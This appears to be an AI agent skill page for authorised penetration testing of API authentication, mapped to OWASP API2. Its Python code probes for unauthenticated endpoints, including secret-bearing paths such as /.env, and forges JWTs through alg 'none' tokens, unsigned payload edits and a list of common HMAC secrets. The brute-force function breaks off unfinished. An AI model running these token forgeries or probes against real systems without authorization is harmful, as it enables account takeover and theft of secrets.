testing-api-authentication-weaknesses
Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.
What this skill does
# Testing API Authentication Weaknesses
## When to Use
- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
- Validating session management including token expiration, revocation, and refresh token security
**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.
## Prerequisites
- Written authorization specifying target API and authentication mechanisms in scope
- Valid test credentials for at least two user roles (regular user, admin)
- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries
- Wordlists for credential testing (SecLists authentication wordlists)
- API documentation or OpenAPI specification
## Workflow
### Step 1: Authentication Mechanism Identification
```python
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "[email protected]", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
```
### Step 2: Unauthenticated Endpoint Discovery
```python
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
```
### Step 3: JWT Token Analysis
```python
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
```
### Step 4: JWT Manipulation Attacks
```python
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
Related in Backend & APIs
jfrog
IncludedInteract with the JFrog Platform via the JFrog CLI and REST/GraphQL APIs. Use this skill when the user wants to manage Artifactory repositories, upload or download artifacts, manage builds, configure permissions, manage users and groups, work with access tokens, configure JFrog CLI servers, search artifacts, manage properties, set up replication, manage JFrog Projects, run security audits or scans, look up CVE details, query exposures scan results from JFrog Advanced Security, manage release bundles and lifecycle operations, aggregate or export platform data, or perform any JFrog Platform administration task. Also use when the user mentions jf, jfrog, artifactory, xray, distribution, evidence, apptrust, onemodel, graphql, workers, mission control, curation, advanced security, exposures, or any JFrog product name.
cupynumeric-migration-readiness
IncludedPre-migration readiness assessor for porting NumPy to cuPyNumeric. Use BEFORE substantial porting work begins when the user asks whether code will scale on GPU, whether they should migrate to cuPyNumeric, which NumPy patterns transfer cleanly, what must be refactored before porting, or mentions pre-port assessment, scaling analysis, or refactor planning. Inspect the user's source code, look up NumPy usage, cross-reference the cuPyNumeric API support manifest, and distinguish distributed-scaling-friendly patterns from blockers such as unsupported APIs, scalar synchronization, host round-trips, Python/object-heavy control flow, shape/data-dependent branching, and in-place mutation hazards. Produce a verdict of READY, LIGHT REFACTOR, SIGNIFICANT REFACTOR, or NOT RECOMMENDED, with concrete refactor pointers.
alibabacloud-data-agent-skill
IncludedInvoke Alibaba Cloud Apsara Data Agent for Analytics via CLI to perform natural language-driven data analysis on enterprise databases. Data Agent for Analytics is an intelligent data analysis agent developed by Alibaba Cloud Database team for enterprise users. It automatically completes requirement analysis, data understanding, analysis insights, and report generation based on natural language descriptions. This tool supports: discovering data resources (instances/databases/tables) managed in DMS, initiating query or deep analysis sessions, real-time progress tracking, and retrieving analysis conclusions and generated reports. Use this Skill when users need to query databases, analyze data trends, generate data reports, ask questions in natural language, or mention "Data Agent", "data analysis", "database query", "SQL analysis", "data insights".
token-optimizer
IncludedReduce OpenClaw token usage and API costs through smart model routing, heartbeat optimization, budget tracking, and native 2026.2.15 features (session pruning, bootstrap size limits, cache TTL alignment). Use when token costs are high, API rate limits are being hit, or hosting multiple agents at scale. The 4 executable scripts (context_optimizer, model_router, heartbeat_optimizer, token_tracker) are local-only — no network requests, no subprocess calls, no system modifications. Reference files (PROVIDERS.md, config-patches.json) document optional multi-provider strategies that require external API keys and network access if you choose to use them. See SECURITY.md for full breakdown.
resend-cli
IncludedUse this skill when the task is specifically about operating Resend from an AI agent, terminal session, or CI job via the official resend CLI: installing/authenticating the CLI, sending/listing/updating/cancelling emails, batch sends, domains and DNS, webhooks and local listeners, inbound receiving, contacts, topics, segments, broadcasts, templates, API keys, profiles, or debugging Resend CLI/API failures. Trigger on mentions of Resend CLI, `resend`, `resend doctor`, `resend emails send`, `resend domains`, `resend webhooks listen`, `resend emails receiving`, or agent-friendly terminal automation.
alibabacloud-odps-maxframe-coding
IncludedUse this skill for MaxFrame SDK development and documentation navigation on Alibaba Cloud MaxCompute (ODPS). Helps answer MaxFrame API, concept, official example, and supported pandas API questions; create data processing programs; read/write MaxCompute tables; debug jobs (remote or local); and build custom DPE runtime images. Trigger when users mention MaxFrame, MaxCompute with MaxFrame, ODPS table processing, DPE runtime, MaxFrame docs/examples, DataFrame/Tensor operations, or GPU runtime setup. Works for both English and Chinese queries about Alibaba Cloud data processing with MaxFrame.